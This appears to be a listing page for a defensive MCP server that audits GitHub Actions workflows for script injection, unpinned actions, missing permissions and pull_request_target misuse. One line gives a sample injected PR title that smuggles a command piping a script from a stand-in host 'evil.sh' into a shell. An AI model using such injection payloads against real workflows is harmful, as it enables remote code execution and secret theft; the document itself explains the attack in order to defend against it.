Skip to main content
Glama
tylerscomic-lab

github-actions-audit-mcp

github-actions-audit-mcp

License: MIT Live on MCPize

An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.

What it catches

Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text (issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The expression is substituted into the generated shell script before the shell runs it — a PR titled "; curl evil.sh | sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.

Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the tj-actions/changed-files compromise (March 2025), where a maintainer's PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is immutable.

Missing permissions: blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.

pull_request_target + head checkout. This trigger runs with the base repo's secrets and a write-scoped token (unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.

Related MCP server: agentguard

Tools

audit_workflow

Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.

check_expression_injection

Focused check on a single shell command string, for when you just want to sanity-check one run: step without a full workflow file.

Use it

Hosted (recommended): MCPize — free tier, $7/mo Pro.

Self-host:

npm install
node server.js

Part of a small suite

regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.

License

MIT

Related MCP Connectors

Related MCP Servers

  • A
    license
    A
    quality
    C
    maintenance
    Local-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.
    3
    39 npm
    2
    MIT
  • A
    license
    Not graded
    quality
    A
    maintenance
    Enables scanning of AI agent code for security vulnerabilities such as prompt injection, tool abuse, and data exfiltration, directly from MCP-compatible clients like Claude Code.
    2
    LGPL 3.0
  • F
    license
    Not graded
    quality
    D
    maintenance
    Audits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.
    -